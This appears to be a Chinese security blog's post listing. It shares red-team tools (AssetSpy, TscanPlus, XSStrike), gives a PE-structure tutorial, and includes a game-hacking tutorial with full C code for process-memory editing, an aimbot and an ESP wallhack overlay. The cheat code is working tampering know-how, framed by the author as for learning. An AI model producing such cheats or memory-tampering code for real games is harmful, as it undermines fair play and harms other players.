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2025-05-17
【工具分享】AssetSpy 客户端内存资产捕手
今日分享AssetSpy 是一款专为红队实战设计的客户端内存扫描工具,支持UTF-8 / UTF-16 双编码识别,可通过进程名或 PID 定位目标应用,实时扫描其内存区域,精准提取出 URL 资源链接和域名信息,广泛适用于渗透测试、逆向分析、动态调试等场景中对客户端通信行为的资产还原。核心亮点多线程高性能:支持多进程并发扫描,结合 KMP 字符串搜索算法与分块优化,极大提升内存扫描效率。精准内存识别:可读取并分析 MEM_PRIVATE、MEM_IMAGE、MEM_MAPPED 三类内存区域,定位潜在资产位置。双编码全面提取:自动识别并解析 UTF-8 / UTF-16 编码,确保不遗漏任意 URL 数据。URL/域名智能去重:提取的 URL 与域名自动去重,防止重复记录,提升数据质量。分块扫描+页级去重:每次按 1MB 块读取,结合页级地址标记,防止重复访问内存区域。关键词精准命中:支持配置关键词(如 tt.com、api.xx.com),精准提取目标资产相关链接。实时监控模式:支持持续监听进程内存变化(-t 参数开启),实现资产实时捕获。结果自动输出:自动将扫描结果输出至 urls.txt 和 domains.txt,便于后续分析或导入其他工具。可视化终端输出:控制台支持彩色 Logo 与格式化结果输出,增强阅读体验与演示效果。实时监控简单演示除了提取程序中已存在的 URL,AssetSpy 还支持从运行时新分配的内存区域中识别动态生成的 URL。测试价值可发现调试/测试接口、上线域名、回调地址等关键资产;特别适合用于HTTPS 抓包失败、代码混淆程序加壳、动态拼接等绕过场景;是常规抓包/逆向手段之外的重要辅助方法,提升资产发现的全面性。暂不提供增强版,测试版可能有BUG,但不影响使用。工具下载 .link-block { display: flex; align-items: center; justify-content: center; padding: 14px 20px; border-radius: 12px; background-color: #f3f4f6; text-decoration: none; color: #111; font-weight: 500; cursor: pointer; transition: background 0.2s ease; } .link-block:hover { background-color: #e0e0e0; } .link-block svg { width: 20px; height: 20px; fill: currentColor; margin-right: 12px; } 🚀 AssetSpy 内存资产捕手 红队辅助工具,专注于扫描客户端内存并提取 URL 与域名,用于通信还原与敏感资产发现。 立即下载 AssetSpy(测试版)
2025年05月17日
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2025-05-16
【工具分享】TscanPlus 红队侦察自动化武器
今日分享无影(TscanPlus)是一款功能强大的网络安全检测与运维工具,专为资产测绘、漏洞挖掘和自动化渗透测试打造,适用于企业安全建设、红队作战以及安全运维等场景,是一款优秀的渗透测试工具。核心亮点综合能力强:集成端口扫描、服务识别、URL指纹识别、目录探测、弱口令破解、POC检测、域名枚举、空间测绘、URLFinder 等模块,覆盖从资产发现到漏洞利用的全链路。高效识别指纹:内置 5.2 万+ 指纹规则,1 万个网站指纹识别仅需 8-10 分钟,效率业内领先。自动化联动检测:支持指纹与 POC 关联,发现目标后自动触发密码破解或漏洞验证。POC系统强大:内置高质量 POC,支持接入 Nuclei、Xray、Afrog 等工具,按指纹结果自动匹配并执行。红队功能丰富:集成反弹 shell、CS上线命令、下载命令、WebShell、内网命令、权限维持等实战指令。辅助工具齐全:涵盖编码解码、加解密、JWT破解、Host碰撞、40x绕过、资产分拣、提权辅助、默认口令查询等。跨平台支持:基于 Go + Wails 构建,支持 Windows / Mac / Linux,UI 界面直观易用。工具说明适用于渗透测试工程师、安全运营人员、红队成员、甲方安全团队等,尤其适合在实战测试中进行快速资产识别与漏洞验证。端口扫描漏洞验证工具下载 .link-block { display: flex; align-items: center; padding: 14px 20px; border-radius: 12px; background-color: #f3f4f6; text-decoration: none; color: #111; font-weight: 500; transition: none; } .link-block:hover { background-color: #f3f4f6; box-shadow: none; } 🚀 TscanPlus 工具地址 高效实用的网络资产探测与漏洞挖掘工具,由 TideSec 团队开发。 立即前往 GitHub 下载 TscanPlus
2025年05月16日
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2025-05-15
【工具分享】XSStrike 智能化 XSS 挖掘工具
今日分享XSS 攻击是一种常见的网页漏洞利用方式,攻击者通过注入恶意脚本,使用户在不知情的情况下执行有害代码,进而实现信息窃取、身份冒用等攻击。目前常见的 XSS 扫描工具有 NoXss、XSSFORK、xwaf 等,今天给大家分享的是一款更智能、功能更强大的工具——XSStrike。相比于 xwaf,XSStrike 最大的优势在于内置了强大的 Payload 自动生成器,对于从事渗透测试和红队攻防的师傅们来说,非常实用。同时它还支持高效的爬虫功能、模糊测试、WAF 检测等,整体使用体验甚至让人联想到 xray,在引擎强度和智能化方面,XSStrike 更胜一筹,是一款值得推荐的实战利器。Payload工具下载 .link-block { display: flex; align-items: center; padding: 14px 20px; border-radius: 12px; background-color: #f3f4f6; text-decoration: none; color: #111; font-weight: 500; transition: none; } .link-block:hover { background-color: #e5e7eb; box-shadow: none; } 🚀 XSStrike XSS 扫描工具 一款基于 Python 编写的强大 XSS 渗透测试工具,支持 payload 自动生成、模糊测试和 WAF 检测。 立即前往 GitHub 下载 XSStrike
2025年05月15日
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2024-11-21
【技术分享】PE文件结构分析 ( RVA转FOA )
简介在了解PE结构之前,先简要回顾下可执行文件的概念。可执行文件是可以被操作系统加载并运行的文件。Windows与Linux的可执行文件格式:Windows平台的可执行文件格式是 PE(Portable Executable) 文件结构。Linux平台的可执行文件格式是 ELF(Executable and Linking Format) 文件结构。命名含义PE 的全称是 Portable Executable,意为“便携的可执行文件”。ELF 的全称是 Executable and Linking Format,意为“可执行和链接格式”。差异点PE文件结构 是跨版本兼容的。例如,Windows 7上的可执行文件可以在Windows 8、Windows 10等版本中正常运行。ELF文件结构 则依赖于内核版本,使用不同内核编译的程序无法在不兼容的环境中运行。应用场景PE文件结构在以下领域具有重要意义:病毒和反病毒技术:病毒感染机制和杀毒软件的检测都需要深入理解PE结构。外挂与反外挂:外挂注入与反外挂保护的关键技术点通常基于PE文件操作。加壳与脱壳:保护软件代码的壳技术,以及针对壳保护的破解技术都依赖于对PE结构的掌握。逆向与修改:在没有源码的情况下对程序功能进行修改、汉化或调试也需要了解PE文件的内部结构。PE结构表PE文件结构.pdfPE结构分析DOS_HANDER32位操作系统,每个进程的虚拟地址空间只能访问4GB的内存,其中2GB是在用户空间,另外2GB是在内核空间,对于64位操作系统,每个进程的虚拟地址空间可以访问更大的内存,一般将用户空间分配给进程可用的全部内存,而内核空间仍然是2GB。(题外话)用16进制编辑器打开程序,一行16进制有16个字节,而DOS_HANDER是给16位计算机用的,到现在的32位和64位程序依然保留了这个数据结构,详细参数可参考以上的PE结构表,在 DOS_HANDER 唯一重要的两个参数是 e_magic 和 e_lfanew,一个是标记用来判断是否是可执行程序,第二个是用来定位PE头位置的,其余的参数都可以用 00,nop 填充因为用不到。DOS_SUBDOS_SUB是在DOS_HANDER和PE标准头的中间这一块,这里面的数据也可以00,nop填充掉当然也可以插入自己的数据,如恶意代码。PE_HANDER以上 DOS_HANDER 中的 e_lfanew 参数是存储的是 08 01 在PE结构中存在大小端,要反着来 08 01 反过来是 0108 也就是 108 对应的文件偏移定位到 50 48 00 00 这里就是PE头了,PE标识占 4 个字节,而标准PE头占 20 个字节,可以参考以上PE表,第一个参数是 Machine 这个参数可以区分程序是多少位的,可以看到是 4C 01 反过来是 014c 也就是 14c 那么是 32位程序了,64位程序就是 8664。PE扩展头65 C8 05 00 反过来 0005c865,就是这个 AddressOfEntryPoint 程序入口地址,ImageBase 是 00 00 40 00 反过来就是 00400000,剩下的结构可以参考PE结构表。PE地址转换介绍FOV (File Offset Value):文件偏移量值,指的是 PE 文件中某个数据在文件中的偏移地址。RVA (Relative Virtual Address):相对虚拟地址,指的是 PE 文件中某个数据在内存中的地址与该模块基地址之间的相对距离。VA (Virtual Address):虚拟地址,指的是 PE 文件中某个数据在内存中的绝对地址。FOV文件偏移计算FOV = RVA - Virtual Offset + Raw Offset在Windows可执行文件中,RVA(Relative Virtual Address)是一个虚拟地址相对于程序映像基址的偏移量,程序映像基址是可执行文件在内存中加载时分配的基地址,通常是0x400000或0x10000000,有了FOV偏移就能够定位,在PE文件中代码的位置,直接修改二进制文件实现程序逻辑的修改。好,我们先来找一下 AddressOfEntryPoint 程序入口,运行后机器码的位置。通过studyPE+这个工具,可以对程序的PE结构进行展示,这里的 0001500 就是RVA。然后就是区段了,Virtual Address 是用来描述PE文件中数据段在程序运行时被加载到内存中的虚拟地址,而 Raw Address 是用来数据段在PE文件中的物理地址或字节偏移量。通过上面的东西进行公式计算,就能得到二进制文件的FOV偏移,与动态调试的入口地址机器码所对应。VA虚拟地址计算VA(Virtual Address,虚拟地址)是指被操作系统分配给进程的内存地址空间中的地址,也称为“逻辑地址”,在现代操作系统中,每个进程都有自己的虚拟地址空间,该地址空间通常从0开始,可以映射到物理内存中的实际地址。只要明白有了VA就能定位到程序运行后的虚拟内存地址了。VA = FOV + Virtual Offset - Raw Offset # 两个都能用 VA = RVA + ImageBase通过上面的公式就能拿到 400000 + 1500 = 401500,在程序运行后的虚拟内存地址。地址重定位计算这是在逆向工程中地址计算的一种常见方法,通常用于调试和静态分析工具之间的地址转换。下面是具体的解释和场景说明:在动态调试器(如 x64dbg)和静态分析工具(如 IDA Pro)中,二进制文件的地址表示方式会有所不同:动态调试器动态调试时,程序运行在内存中,操作系统会为程序的模块分配一个动态的加载基址(Base Address)。具体地址通常由模块加载地址加上文件中的偏移量(Offset)计算得出。静态分析工具静态分析工具基于文件本身的结构,不依赖运行时的加载基址。它直接将文件的Offset视为相对地址,结合用户手动输入的加载基址,推算出实际的运行地址。x64dbg 中的地址计算当前运行的内存地址(Current Address)模块加载地址(Module Base Address)公式:偏移量(Offset) = 当前地址 - 模块加载地址意义在于,找到一个地址相对于模块加载基址的偏移值,这个偏移值与模块在静态文件中的位置一致。在 IDA 中的地址计算假设在调试器中计算出某个地址的偏移量(Offset)。在IDA中,我们需要知道模块加载基址(Module Base Address)来还原其运行时的实际内存地址。公式:当前地址 = 模块加载基址 + 偏移量(Offset)这个公式的意义是,利用偏移量和加载基址还原实际内存中动态分配的地址。假设我们正在调试一个程序,模块加载基址是 0x400000,并且我们在 x64dbg 中发现当前执行的指令位于地址 0x402345。Step 1: 计算Offset使用公式:Offset = 当前地址 - 模块加载地址 Offset = 0x402345 - 0x400000 Offset = 0x2345Step 2: 转换到IDA中的地址假设我们在IDA中对这个模块进行分析,并假设它的加载基址为 0x500000。则在IDA中对应的实际地址为:当前地址 = 模块加载基址 + Offset 当前地址 = 0x500000 + 0x2345 当前地址 = 0x502345改全局变量用C写了简单的例子,输出变量数值和虚拟内存地址。#include <stdio.h> int value = 1000; int main () { printf("Address = 0x%p \n", &value); printf("value = %d", value); getchar(); return 0; }有全局变量的虚拟内存地址,就可以直接可以计算出RVA相对虚拟内存地址,然后通过节表的内存偏移与RVA进行计算,就能得到文件的FOV。(为什么不修改局部变量?首先局部变量存储在堆栈中,需要通过动态修改值,在PE文件结构中并没有堆栈,堆栈是程序运行时分配出来的,所以不能通过修改PE文件结构来改变局部变量的数据。)RVA = VA - ImageBase FOV = RVA - Virtual Offset + Raw Offset通过上面的公式 403010 - 400000 = 3010 得到RVA,然后算区间按照上面的第二个公式就能得出FOV,对照区段的虚拟地址可以发现,是在 .data 节表中。拿到文件偏移就可以通过进行定位了,用二进制的方式修改全局变量的数据。小知识范围 = 基址 + 大小通过基址 + 大小就可以计算出这个 exe 中的内存范围,现在验证下这里面的内存地址是否全是静态地址。当然,除了exe 也有 dll 的,有了这些静态地址,就可以借助加偏移找到动态地址。2024-12-20 08:53:14 星期五 更新过
2024年11月21日
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2024-11-20
【技术分享】CK竞技之王游戏辅助制作
简介以下教程是自我总结出的,我会很详细的进行编写,配详细的步骤和视频教程,本文章用到的工具会有 Cheat engine、x64dbg,本文章只用C语言编写代码,用单机游戏 CK竞技之王 进行辅助的制作,该游戏是CS进行魔改仿穿越火线,在此声明并不是穿越火线游戏,做这个教程目的只有一个让你们明白它的原理和搜法,在游戏中不管是网络游戏还是单机游戏,他们的共同点都是一样的,能够被本地修改达到开挂的目的(在此声明只是作为学习交流)。基本了解游戏它是程序,因为运行程序就会创建进程,通过进程就可以访问程序中的内存地址,通过地址可以访问到存储的数据,举个简单的例子:比如游戏开发者创建了个变量 float speed = 2.5; 来定义人物速度,那么就会在内存中开辟一个空间,然后会有一个内存地址像 0x12345 这样的(只是打比方),我们可以通过这个地址来访问到里面的数据(知道C语言指针的就很好理解),也就是 2.5,通过微软给的系统 API 接口 kernel32.dll 里的 ReadProcessMemory 函数就能办到,然后就是写内存数值了,可以通过 WriteProcessMemory 函数,要用到的API函数我都会写在下面的。取窗口句柄HWND FindWindow( LPCTSTR lpClassName, LPCTSTR lpWindowName );取窗口句柄因为 ReadProcessMemory,第一个参数 hProcess 要的是进程句柄(注意了 FindWindow 取的是窗口句柄而不是进程句柄哦)。取进程线程DWORD GetWindowThreadProcessId( HWND hWnd, LPDWORD lpdwProcessId );通过 GetWindowThreadProcessId,来获取进程 PID 当然你直接获取进程 PID 就省去了找窗口。取进程句柄HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId );通过 OpenProcess,打开进程来取进程句柄,这样就拿到进程句柄了。读内存数据BOOL ReadProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead );通过 ReadProcessMemory 来读进程内存数据。写内存数据BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );通过 WriteProcessMemory 来写进程内存数据,以上是简单介绍让大家有个基本了解(注意以上只能对 32 程序进程操作)。32位、64位内存读写内核级进程内存读NTSTATUS ZwWow64ReadVirtualMemory64( HANDLE Process, PVOID64 BaseAddress, PVOID Buffer, ULONG64 BufferSize, PULONG64 NumberOfBytesRead );内核级进程内存写NTSTATUS ZwWow64WriteVirtualMemory64( HANDLE Process, PVOID64 BaseAddress, PVOID Buffer, ULONG64 BufferSize, PULONG64 NumberOfBytesWritten );内核级别的进程内存读写,可以用在32和64位程序上,微软不公开的但是可以用,这两个函数不属于动态链接库,感兴趣的可以自己去研究。完整代码(读写子弹数量)// 读写内存简单例子: #include <Windows.h> // 包含头文件 Windows.h #include <stdio.h> int main() { DWORD processid; // 保存进程PID HANDLE hProcess; // 保存进程句柄 HWND hwnd = FindWindow("Valve001", NULL); // 取窗口句柄 GetWindowThreadProcessId(hwnd, &processid); // 取进程PID hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processid); // 取进程句柄 if (hProcess == NULL) { printf("打开进程失败\n"); return 1; } int values; // 返回读取数据 SIZE_T bytesRead; // 存读取字节数 LPVOID Addresses = (LPVOID)0x7000FA4; // 临时地址读取 ReadProcessMemory(hProcess, Addresses, &values, sizeof(int), &bytesRead); // 读取内存地址数据 printf("子弹数量:%d\n", values); values = 100; SIZE_T bytesWritten; WriteProcessMemory(hProcess, Addresses, &values, sizeof(int), &bytesWritten); // 写内存地址数据 100 CloseHandle(hProcess); // 关闭句柄 return 0; }以上函数都在这个目录下:C:\Windows\System32\,这里面是存放的是 32 位动态链接库,上面的函数是 kernel32.dll 里面的,常用的 dll 我写在下面了,感兴趣的可以自己去看看。user32.dll // 提供了用户界面方面的功能,包括窗口、菜单、鼠标、键盘等。 kernel32.dll // 包含了许多核心的操作系统功能,如进程和线程管理、内存管理、文件操作等。 advapi32.dll // 提供了高级的系统和安全功能,如访问控制、认证等。 gdi32.dll // 提供了图形设备接口相关的功能,包括绘图和字体操作。 shell32.dll // 提供了与 Windows shell 相关的功能,如文件和文件夹操作、图标处理等。 comdlg32.dll // 提供了用于打开和保存对话框等通用的常见对话框。人物自瞄(C语言)#include <stdio.h> #include <math.h> #include <windows.h> #define PI 3.1415926 float GetDistance(float x1, float y1, float x2, float y2) { float distance = sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2)); // 计算二维距离 return distance / 20.0f; } int main() { DWORD processid; HANDLE hProcess; HWND hwnd = FindWindow("Valve001", NULL); GetWindowThreadProcessId(hwnd, &processid); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processid); if (hProcess == NULL) { printf("打开进程失败\n"); return 1; } LPVOID myAddr[] = { // 临时地址 (LPVOID)0x0B466A44, // 自己x (LPVOID)0x0B466A4C, // 自己y (LPVOID)0x0B466A48, // 自己z }; LPVOID emAddr[] = { // 临时地址 (LPVOID)0x0B466D68, // 敌人x (LPVOID)0x0B466D70, // 敌人y (LPVOID)0x0B466D6C, // 敌人z }; LPVOID aimAddr[] = { // 临时地址 (LPVOID)0x02de10c8, // 准星 x (LPVOID)0x02de10c4, // 准星 y }; SIZE_T bytesRead; float Aimvalues[2]; float myvalues[3]; float envalues[3]; float differ_x, differ_y, distan; float AiMBot_x, AiMBot_y, differ; while (TRUE) { for (int i = 0; i < 3; i++) { ReadProcessMemory(hProcess, aimAddr[i], &Aimvalues[i], sizeof(float), &bytesRead); ReadProcessMemory(hProcess, myAddr[i], &myvalues[i], sizeof(float), &bytesRead); ReadProcessMemory(hProcess, emAddr[i], &envalues[i], sizeof(float), &bytesRead); } differ_x = envalues[0] - myvalues[0]; // 计算敌我坐标差 differ_y = envalues[2] - myvalues[2]; distan = sqrt(pow(differ_x, 2) + pow(differ_y, 2)); differ = GetDistance(myvalues[0], myvalues[2], envalues[0], envalues[2]); // 计算二维距离 AiMBot_y = atan((myvalues[1] - envalues[1]) / distan) / PI * 180 + 3; // 计算y轴方向上的角度 if (differ_x > 0 && differ_y > 0) // 判断第一象限 { AiMBot_x = atan(differ_y / differ_x) * 180 / PI; // 计算x轴方向上的角度 } if (differ_x < 0 && differ_y > 0) // 判断第二象限 { AiMBot_x = atan(differ_y / differ_x) * 180 / PI + 180; } if (differ_x < 0 && differ_y < 0) // 判断第三象限 { AiMBot_x = atan(differ_y / differ_x) * 180 / PI + 180; } if (differ_x > 0 && differ_y < 0) // 判断第四象限 { AiMBot_x = atan(differ_y / differ_x) * 180 / PI; } WriteProcessMemory(hProcess, aimAddr[0], &AiMBot_x, sizeof(float), &bytesRead); // 将计算出的敌人位置x写入准星x WriteProcessMemory(hProcess, aimAddr[1], &AiMBot_y, sizeof(float), &bytesRead); // 将计算出的敌人位置y写入准星y } CloseHandle(hProcess); return 0; }{dplayer src="https://www.52tt.pro/usr/uploads/2023/08/Aim.mp4"/}自瞄代码详解1.首先通过 Cheat Engine 获取人物在游戏中的 x,y,z 坐标地址,有了这些数据才能为后期做准备。Tips:使用CE搜未知初始值浮点数,人物坐标是浮点数,人物往左移动 也就是 x 轴 那么就是减少了,往右走就是增加了,数轴的基本常识左减右增,来来回回过滤用二分排除法很快就能找到x坐标了。Tips:一旦找到 x 坐标那么 y,z 就都找到了,x坐标的内存地址是 0x2458fa44 只要 0x2458fa44 + 4 就是 z 坐标 + 8 就是 y 坐标,这样就全部拿到了,可以看到我额外标出HP,因为这里是跟人物相关的数据一般都在附近,就像一个对象或者结构体里面的数据都会存放在一起的。2.计算 x,y 轴方向的差值(水平与垂直距离),假设自己的位置是 (0, 0),敌人的位置是 (3, 5),那么 x 轴方向的差值是 3,y 轴方向的差值是 5。√(3^2 + 5^2) = √34 ≈ 5.83 // 勾股定理水平距离:3(敌人的 x 坐标)- 0(自己 x 坐标) = 3垂直距离:5(敌人的 y 坐标)- 0(自己 y 坐标) = 5float differ_x = enemy_x - self_x float differ_y = enemy_y - self_y3.计算两点之间的直线距离,可以使用勾股定理计算,本教程中我使用了欧氏距离计算。d = √((x2 - x1)^2 + (y2 - y1)^2) // 二维欧氏距离// 计算二维欧氏距离 float GetDistance(float x1, float y1, float x2, float y2) { float distance = sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2)); return distance / 20.0f; }4.计算自己与敌人之间的角度(相对于 x 轴)用反正切函数来计算角度。θ = arctan(5 / 3)AiMBot_y = atan((myvalues[1] - envalues[1]) / distan) / PI * 180 + 3; // 计算y轴方向上的角度5.使用 atan 函数计算 y 轴方向上的角度,作为左后自瞄的 y 角度。if (differ_x > 0 && differ_y > 0) // 判断第一象限 { AiMBot_x = atan(differ_y / differ_x) * 180 / PI; // 计算 x 轴方向上的角度 } // 代码省略AiMBot_x = atan(differ_y / differ_x) * 180 / PI; // 计算x轴方向上的角度6.通过差值正负判断象限,用 atan 函数计算 x 轴方向上的角度,作为左后自瞄的 x 角度。WriteProcessMemory(hProcess, aimAddr[0], &AiMBot_x, sizeof(float), &bytesRead); // 准星x写入计算出的敌人位置x WriteProcessMemory(hProcess, aimAddr[1], &AiMBot_y, sizeof(float), &bytesRead); // 准星y写入计算出的敌人位置y7.获取游戏准星 x,y 移动坐标,最终配合 x 角度与 y 角度,用来移动准星实现自瞄效果。(以上方式是最原始的自瞄,用三角函数进行实现,只是单个人自瞄哦,多人只要遍历敌人数据x,y,z,加入到数组中通过距离判断优先级再自瞄,这样就完成了暂时不做比较懒。)无限急速雷思路很简单,先找雷数量右键看谁访问了这个地址,就可以追踪到访问它的代码段,这里面就会有很多对手雷的功能操作。(比如投掷距离,投掷速度,引爆时间。)看到这个地方,有 #fire_in_the_hole 这里就是调用扔雷的声音,再往下就是扔雷的操作。我分析过了,扔雷的速度就在这个反汇编代码,引用的这个地址附近,通过访问内存就能看到 + 4 的位置是 1.75 修改它扔雷速度就无冷却。{dplayer src="https://www.52tt.pro/usr/uploads/2023/08/bom.mp4"/}方框透视(C语言)绘制方框透视的方式也就两种,内部绘制 和 外部绘制,内部就是嵌入到了游戏窗口内,本文章用的是外部绘制,也就是说创建了一个窗口,设置透明并覆盖在游戏窗口上方,读游戏中的数据计算出来再进行绘制。我这里用的是 Windows API 进行绘制,会存在一点小问题,只是提供个思路给你们,在C语言也可以用 D3D9、SDL、Imgui 等等。#include <Windows.h> #include <tlhelp32.h> // 根据进程ID和模块名获取模块句柄 HMODULE GetModuleHandleFromProcess(DWORD processId, const char *moduleName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, processId); MODULEENTRY32 moduleEntry; moduleEntry.dwSize = sizeof(moduleEntry); if (Module32First(hSnapshot, &moduleEntry)) { do { if (stricmp(moduleEntry.szModule, moduleName) == 0) { CloseHandle(hSnapshot); return moduleEntry.hModule; } } while (Module32Next(hSnapshot, &moduleEntry)); } CloseHandle(hSnapshot); return NULL; } // 窗口消息处理函数 LRESULT CALLBACK MsgProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_DESTROY: PostQuitMessage(0); return 0; case WM_SIZING: return TRUE; case WM_NCHITTEST: return HTTRANSPARENT; default: return DefWindowProc(hWnd, msg, wParam, lParam); } } // 绘制矩形 void DrawRectangle(HDC hdc, int x, int y, int width, int height) { RECT rect = {x, y, x + width, y + height}; HBRUSH hBrush = (HBRUSH)GetStockObject(NULL_BRUSH); HPEN hPen = CreatePen(PS_SOLID, 2, RGB(255, 0, 0)); HGDIOBJ hOldPen = SelectObject(hdc, hPen); HGDIOBJ hOldBrush = SelectObject(hdc, hBrush); Rectangle(hdc, x, y, x + width, y + height); SelectObject(hdc, hOldBrush); SelectObject(hdc, hOldPen); DeleteObject(hPen); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { // 获取进程ID和句柄 DWORD processid; HANDLE hProcess; HWND Gamehwnd = FindWindow(NULL, "Compete King"); GetWindowThreadProcessId(Gamehwnd, &processid); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processid); // 获取模块句柄 const char *moduleName = "amxmodx_mm.dll"; HMODULE hModule = GetModuleHandleFromProcess(processid, moduleName); // 注册窗口类 WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_CLASSDC, MsgProc, 0L, 0L, GetModuleHandle(NULL), NULL, NULL, NULL, NULL, TEXT("D3D9"), NULL}; RegisterClassEx(&wc); // 创建窗口 RECT rects; GetWindowRect(Gamehwnd, &rects); int left = rects.left; int top = rects.top; int right = rects.right; int bottom = rects.bottom; int sWidth = right - left; int sHeight = bottom - top; HWND hWnd = CreateWindowEx( WS_EX_LAYERED | WS_EX_TRANSPARENT, wc.lpszClassName, TEXT("D3D9"), WS_POPUP, left, top, sWidth - 6, sHeight - 3, NULL, NULL, wc.hInstance, NULL); SetLayeredWindowAttributes(hWnd, RGB(0, 0, 0), 0, LWA_COLORKEY); ShowWindow(hWnd, SW_SHOWDEFAULT); UpdateWindow(hWnd); MSG msg; float MatData; float Matarray[4][4]; HDC hdc = GetDC(hWnd); ZeroMemory(&msg, sizeof(msg)); while (msg.message != WM_QUIT) { if (PeekMessage(&msg, NULL, 0U, 0U, PM_REMOVE)) { TranslateMessage(&msg); DispatchMessage(&msg); } else { // 获取游戏窗口大小 if (!GetWindowRect(Gamehwnd, &rects)) { PostQuitMessage(0); break; } int left = rects.left; int top = rects.top; int right = rects.right; int bottom = rects.bottom; int sWidth = right - left; int sHeight = bottom - top; SetWindowPos(hWnd, HWND_TOPMOST, left + 3, top, sWidth, sHeight, SWP_NOSIZE); int initNumber = -4; for (int i = 0; i < 4; i++) // 遍历存储 4 x 4 矩阵 { for (int j = 0; j < 4; j++) { initNumber += 4; LPVOID Addresses = (LPVOID)0x2C20100 + initNumber; ReadProcessMemory(hProcess, Addresses, &MatData, sizeof(float), NULL); Matarray[i][j] = MatData; } } int GameWinWidth = 1030 / 2; int GameWinHeight = 797 / 2; float vorx, vory, vorz, vory2, FanHeight, FanWidth, row; long long offset = 0xFFFFFFFFFFFFFCDC; RECT clientRect; GetClientRect(hWnd, &clientRect); FillRect(hdc, &clientRect, (HBRUSH)GetStockObject(BLACK_BRUSH)); for (int enemy_num = 0; enemy_num < 2; enemy_num++) // 遍历敌人数组 { offset += 0x324; LPVOID baseAddress = (LPVOID)((DWORD_PTR)hModule + 0x001CFE08); int baseaddr; ReadProcessMemory(hProcess, baseAddress, &baseaddr, sizeof(int), NULL); float enemyHP, enemyX, enemyY, enemyZ; ReadProcessMemory(hProcess, (LPVOID)baseaddr + 0x1E0 + offset, &enemyHP, sizeof(float), NULL); // enemyHP ReadProcessMemory(hProcess, (LPVOID)baseaddr + 0x88 + offset, &enemyX, sizeof(float), NULL); // enemyX ReadProcessMemory(hProcess, (LPVOID)baseaddr + 0x8C + offset, &enemyY, sizeof(float), NULL); // enemyY ReadProcessMemory(hProcess, (LPVOID)baseaddr + 0x90 + offset, &enemyZ, sizeof(float), NULL); // enemyZ /* 三维图形的投影算法 */ vorz = Matarray[0][2] * enemyX + Matarray[1][2] * enemyY + Matarray[2][2] * enemyZ + Matarray[3][2]; row = 1 / vorz; vorx = GameWinWidth + (Matarray[0][0] * enemyX + Matarray[1][0] * enemyY + Matarray[2][0] * enemyZ + Matarray[3][0]) * row * GameWinWidth; vory = GameWinHeight - (Matarray[0][1] * enemyX + Matarray[1][1] * enemyY + Matarray[2][1] * (enemyZ - 50) + Matarray[3][1]) * row * GameWinHeight; vory2 = GameWinHeight - (Matarray[0][1] * enemyX + Matarray[1][1] * enemyY + Matarray[2][1] * (enemyZ + 30) + Matarray[3][1]) * row * GameWinHeight; if (vorz < 0) { continue; } FanHeight = vory - vory2; FanWidth = FanHeight * 0.6; DrawRectangle(hdc, vorx - FanWidth / 2, vory2, (int)FanWidth, (int)FanHeight); // 绘制方框矩形 } ReleaseDC(hWnd, hdc); } } UnregisterClass(wc.lpszClassName, wc.hInstance); return (int)msg.wParam; }gcc main.c -s -lgdi32 -ld3d9 -mwindows // 编译成 exe 并隐藏 DOS 窗口方框透视详解先理一下思路,要用到的功能有,通过窗口句柄取进程ID,打开进程句柄,读游戏敌人 x y z 内存坐标数据,本文章代码用到的是外部窗口绘制,所以找个可以创建图形窗口能画图的库就行,设置窗口无边框,设置窗口透明,设置鼠标穿透,设置窗口置顶和实时位置覆盖,这样就能绘制了。三维投影变换1.主要用到三维图形的投影算法,把游戏里的数据进行计算后把敌人位置绘制到屏幕上显示,所以要在游戏里找到相机矩阵。在游戏里能影响到相机的方向的只有视角,用 CE 搜浮点数未知初始值,人物不动鼠标转动视角,再次搜变动了数值,以此类推一个一个进去看用内存视图观察特征,当然嫌麻烦可以找矩阵验证工具,可以自己网上找这里就不提供了。常见相机矩阵有 4 x 4,其他的还有 4 x 3 等等,如果矩阵有变化那么三维图像投影变换算法也需要进行更改。 矩阵特征:规律总结1:跳动时,有三个数据在变动规律总结2:晃动鼠标时,有一个数据保持 0 不变规律总结3:存在3对两两相同2.当我在游戏里人物跳起来的时候,可以发现只有三个值不停的发送变化,其他的都没变而且存在3对两两相同数:-0.11 -0.11 -0.99 -0.99 0.04 0.043.当我在游戏里旋转游戏视角的时候,可以发现有一个 0 不变。相机z = 矩阵[0][2] x 敌人x坐标 + 矩阵[1][2] x 敌人y坐标 + 矩阵[2][2] x 敌人z坐标 + 矩阵[3][2] 比例 = 1 / 相机z 相机x = 游戏窗口宽度 + (矩阵[0][0] x 敌人x坐标 + 矩阵[1][0] x 敌人y坐标 + 矩阵[2][0] x 敌人z坐标 + 矩阵[3][0]) x 比例 x 游戏窗口宽度 相机y = 游戏窗口高度 - (矩阵[0][1] x 敌人x坐标 + 矩阵[1][1] x 敌人y坐标 + 矩阵[2][1] x (敌人z - 50) + 矩阵[3][1]) x 比例 x 游戏窗口高度 相机y2 = 游戏窗口高度 - (矩阵[0][1] x 敌人x坐标 + 矩阵[1][1] x 敌人y坐标 + 矩阵[2][1] x (敌人z + 30) + 矩阵[3][1]) x 比例 x 游戏窗口高度投影公式相机 Z 计算:比例因子:屏幕上的 X 坐标:屏幕上的 Y 坐标:这里还有Python3的版本:Python3 透视自瞄外挂制作 ,仅供学习参考。2024-12-20 09:58:10 星期五 更新过
2024年11月20日
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2024-09-30
【技术分享】NASM x86 Assembly Language
